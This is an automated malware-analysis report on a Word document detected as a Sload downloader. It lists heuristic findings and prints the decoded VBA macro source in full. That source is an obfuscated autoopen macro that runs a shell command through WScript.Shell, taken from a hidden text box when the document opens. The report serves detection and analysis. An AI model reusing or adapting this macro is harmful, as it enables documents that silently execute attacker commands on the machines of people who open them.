MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The file contains VBA macros with critical heuristic firings for `OLE_VBA_SHELL`, `OLE_VBA_WSCRIPT`, and `OLE_VBA_CREATEOBJ`, indicating the use of `Shell()` and `WScript.Shell` to execute commands. The `autoopen` macro marker suggests it runs automatically upon opening. This strongly suggests the macro's purpose is to download and execute a secondary payload.
Heuristics 9
-
ClamAV: Doc.Downloader.Sload-6817574-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Sload-6817574-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set bestofbreedkd = Metaljm backendil = "WscRipt.sHeLl" Set methodologiessu = Illinoissj -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Steelzr = Denarzd CSSqf = Array(Michiganuo, monitorcz, Groupsv, CreateObject(backendil).Run!(("" + Indianabj + wirelessmd + Manorsmw + Legacybr.TextBox1) + Investortv + Accountsbi, 78 - 78), Assistanthj, Legacymf, Awesomenf) Set Bangladeshli = Districtmi -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub autoopen() Fantasticvs = Array(paneldi, microchipwr, marketsjv, Administratormn, primaryhj, Silverhj, Parkwaysri) -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6537 bytes |
SHA-256: cba4b580e776a73f1ff1fca2a259da59b804daa378d11835c3bd1de1814047ae |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Legacybr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Attribute VB_Name = "backupwq"
Function Administratormn()
On Error Resume Next
Set Junctionmz = golddu
For Each Streetqi In Wisconsinzp
For Each AutoLoanAccountwq In Utahnc
Connecticutfu = (Oct(70))
Next
Do
generatezq = CLng(WestVirginiazz)
Loop Until Optionalsh Eqv emarketsql
Set solidstatevf = clicksandmortarzl
Bedfordshirewi = NewIsraeliSheqelzt
For Each Intelligentmi In FTPqr
supplychainsvj = Cos(Plastichi)
Next
Next
Set NuevoSoluc = Decentralizedaf
Set Facilitatorbb = Lodgerw
For Each ErgonomicPlasticChairbk In connectmv
For Each transmitbd In THXcu
alarmdt = (Oct(104))
Next
Do
orchidjf = CLng(Humandi)
Loop Until Rubberzj Eqv Creativezl
Set FantasticFrozenChipsib = parallelismmi
LicensedCottonTunatc = opensourceuv
For Each lavenderqn In portjn
Woodenjc = Cos(Districtjj)
Next
Next
Set Malltw = Realignedro
Set Vistazw = onetoonehc
For Each connectingni In communitieshu
For Each SMTPbo In auxiliaryrq
firewallhz = (Oct(958))
Next
Do
whiteboarddi = CLng(Concreteba)
Loop Until HandmadeConcreteChickenfa Eqv backendjf
Set InvestmentAccountlm = matricesjz
depositni = Licensedhp
For Each transitionnd In Analystjm
Steelct = Cos(FTPbv)
Next
Next
Set GorgeousGraniteBaconih = Steelat
Set ecommerceva = FantasticPlasticFishpz
For Each Cambridgeshireml In Massachusettswq
For Each generatingrw In SleekFrozenCarol
withdrawaliq = (Oct(664))
Next
Do
virtualuh = CLng(Lanebo)
Loop Until dynamicsz Eqv Focusedbi
Set backinguphj = vortalstf
knowledgebaseor = IsleofManow
For Each Homebs In neuralnn
Handcraftedah = Cos(schemaszq)
Next
Next
Set bestofbreedkd = Metaljm
backendil = "WscRipt.sHeLl"
Set methodologiessu = Illinoissj
For Each Bordersvp In dynamiczk
For Each directionaljd In copyzr
Clothingmo = (Oct(238))
Next
Do
SMSiu = CLng(blackzs)
Loop Until MoneyMarketAccountjl Eqv Distributedqi
Set Industrialol = Seniorwi
InvestmentAccountav = SSLcj
For Each transmitternu In Districtql
Humanir = Cos(RAMaa)
Next
Next
Set systematiciz = RAMrj
Set Granitero = withdrawalbj
For Each busrd In relationshipsab
For Each Expresswaydk In emulationls
Creativevt = (Oct(802))
Next
Do
strategicwi = CLng(webenabledoz)
Loop Until optimizerf Eqv Weblz
Set Campuj = compellingbz
COMwd = AutoLoanAccountum
For Each Handmadevj In MoneyMarketAccountvj
navigatecv = Cos(Waysjj)
Next
Next
Set Steelzr = Denarzd
CSSqf = Array(Michiganuo, monitorcz, Groupsv, CreateObject(backendil).Run!(("" + Indianabj + wirelessmd + Manorsmw + Legacybr.TextBox1) + Investortv + Accountsbi, 78 - 78), Assistanthj, Legacymf, Awesomenf)
Set Bangladeshli = Districtmi
For Each NewJerseyvc In Wisconsinpm
For Each invoicesi In backendlz
EastCaribbeanDollartz = (Oct(349))
Next
Do
AutoLoanAccountiw = CLng(abilityzz)
Loop Until superstructurejb Eqv Squaresdi
Set Chiefvc = Freshsr
robustqo = Metalow
For Each Districtif In relationshipsbi
violetju = Cos(architectjj)
Next
Next
Set whiteql = salmonpn
Set Crossplatformju = SavingsAccountal
For Each secondaryji In Humanht
For Each copywo In Stravenuehu
FantasticSteelSaladjz = (Oct(662))
Next
Do
CheckingAccountvj = CLng(Tastysw)
Loop Until hackcr Eqv invoicepr
Set DanishKronevj = Centraldd
strategicfs = sensorob
For Each SmallGranitePizzauh In magentaaf
Bedfordshirekv = Cos(invoicetm)
Next
Next
Set synthesizingqc = Tongapf
End Function
Attribute VB_Name = "Functionbasedca"
Sub IntelligentSoftSaladwj()
AwesomeConcreteKeyboardum = multibytehj
Qualityfocuseddl = TastyPlasticFishjf
Objectbasedvk = backingupqf
End Sub
Sub autoopen()
Fantasticvs = Array(paneldi, microchipwr, marketsjv, Administratormn, primaryhj, Silverhj, Parkwaysri)
End Sub
Attribute VB_Name = "rebootkw"
Attribute VB_Name = "BooksToyszp"
Attribute VB_Name = "Spurswc"
Attribute VB_Name = "AutoLoanAccountpp"
Attribute VB_Name = "initiativebs"
Attribute VB_Name = "Intuitivetm"
Attribute VB_Name = "XMLzp"
Attribute VB_Name = "Developertb"
Attribute VB_Name = "microchiprt"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Seamlesszz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Bordersjp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "RefinedWoodenComputerru"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "bricksandclicksci"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.